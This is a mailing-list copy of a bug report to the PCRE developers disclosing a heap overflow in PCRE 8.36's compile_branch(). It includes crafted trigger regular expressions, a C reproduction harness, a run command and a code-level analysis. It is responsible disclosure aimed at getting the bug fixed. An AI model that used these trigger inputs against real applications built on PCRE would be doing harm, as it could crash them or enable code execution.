[pcre-dev] [Bug 1591] New: PCRE Library Heap Overflow Vulner…

Top Page
Delete this message
Author: secresearch
Date:  
To: pcre-dev
Subject: [pcre-dev] [Bug 1591] New: PCRE Library Heap Overflow Vulnerability
------- You are receiving this mail because: -------
You are on the CC list for the bug.

http://bugs.exim.org/show_bug.cgi?id=1591
           Summary: PCRE Library Heap Overflow Vulnerability
           Product: PCRE
           Version: 8.36
          Platform: All
        OS/Version: All
            Status: NEW
          Severity: security
          Priority: high
         Component: Code
        AssignedTo: ph10@???
        ReportedBy: secresearch@???
                CC: pcre-dev@???



PCRE Library Heap Overflow Vulnerability
------------------------------------------------------------------------

Summary

PCRE library is prone to a heap overflow vulnerability. Due to insufficient
bounds checking inside compile_branch(), the heap memory could be overflowed
via a crafted regular expression. Since PCRE library is widely used, this
vulnerability should affect many applications using it. An attacker may exploit
this issue to execute arbitrary code in the context of the user running the
affected application.
------------------------------------------------------------------------

Description

PCRE is a regular expression C library inspired by the regular expression
capabilities in the Perl programming language. The PCRE library is incorporated
into a number of prominent programs, such as Adobe Flash, Apache Web Server,
Nginx Web Server, MongoDB, MariaDB, PHP. The latest version of PCRE is prone to
a heap overflow vulnerability which could be triggered by the following regular
expression.

"((?2){0,1999}?(b(?2)c)){0,2}"

The simplest PoC is "((?2){0,1999}())?"

To reproduce the issue, you could use the following C code:

#define PCRE_STATIC
#include "pcre.h"
#include <stdio.h>
#include <string.h>

#define OVECCOUNT 30

int main(int argc, char* argv[])
{
        pcre *re;
        const char *error;
        int erroffset;
        int ovector[OVECCOUNT];
        int rc;
        if (argc != 3){
                printf("Two arguments required: a regex and a subject
string.\n");
                return -1;
        }
        re = pcre_compile(argv[1], 0, &error, &erroffset, NULL);
        if (re == NULL){
                printf("PCRE compilation failed at offset %d:
%s.\n",erroffset,error);
        }
        rc = pcre_exec(re, NULL, argv[2], (int)strlen(argv[2]), 0, 0, ovector,
OVECCOUNT);
        if (rc < 0){
                switch (rc){
                case PCRE_ERROR_NOMATCH:printf("No match.\n"); break;
                default: printf("Matching error %d.\n", rc); break;
                }
                return -1;
        }
        return 0;
}


Compile it as main.exe, then run it as follows.

main.exe "((?2){0,1999}())?" AAAAAAAAA
------------------------------------------------------------------------

Analysis

In compile_branch() function, the vulnerable snippet code is:

     else for (i = repeat_max - 1; i >= 0; i--)
          {
          pcre_uchar *hc;
          pcre_uchar *this_hwm = cd->hwm;


          ...
          ...
          ...


          memcpy(code, previous, IN_UCHARS(len));


          /* Ensure there is enough workspace for forward references before
copying them. */


          while (cd->hwm > cd->start_workspace + cd->workspace_size -
                 WORK_SIZE_SAFETY_MARGIN - (this_hwm - save_hwm))
            {
            size_t save_offset = save_hwm - cd->start_workspace;
            size_t this_offset = this_hwm - cd->start_workspace;
            *errorcodeptr = expand_workspace(cd);
            if (*errorcodeptr != 0) goto FAILED;
            save_hwm = (pcre_uchar *)cd->start_workspace + save_offset;
            this_hwm = (pcre_uchar *)cd->start_workspace + this_offset;
            }


          for (hc = save_hwm; hc < this_hwm; hc += LINK_SIZE)
            {
            PUT(cd->hwm, 0, GET(hc, 0) + len + ((i != 0)? 2+LINK_SIZE : 1));
            cd->hwm += LINK_SIZE;
            }
          save_hwm = this_hwm;
          code += len;
          }


         ...
         ...


Due to no validity check for the quantifier repeat_max of subroutine reference,
when repeat_max is larger than 1998, it causes that the value of cd->hwm
becomes too large.

Then call adjust_recurse():
          *code = OP_END;
          adjust_recurse(previous, 2 + LINK_SIZE, utf, cd, save_hwm);
          memmove(previous + 2 + LINK_SIZE, previous, IN_UCHARS(len));
          code += 2 + LINK_SIZE;



In adjust_recurse() function,

 for (hc = save_hwm; hc < cd->hwm; hc += LINK_SIZE)
    {
    offset = (int)GET(hc, 0);   --> Because the value of cd->hwm is too large,
it causes an out-of-bounds read exception.
    if (cd->start_code + offset == ptr + 1)
      {
      PUT(hc, 0, offset + adjust);
      break;
      }
    }



Carefully crafted regular expression may allow attackers to control the EIP and
other heap variables, which could result in code execution. The latest version
of PCRE is tested on Windows 7.
------------------------------------------------------------------------

Type of Vulnerability & Repercussions:
Heap Overflow
------------------------------------------------------------------------

Affected Software:
Latest version of PCRE library (8.36).
Other versions and applications using it may also be affected.
------------------------------------------------------------------------

Credits:
This vulnerability was discovered by Kai Lu of Fortinet's FortiGuard Labs.


--
Configure bugmail: http://bugs.exim.org/userprefs.cgi?tab=email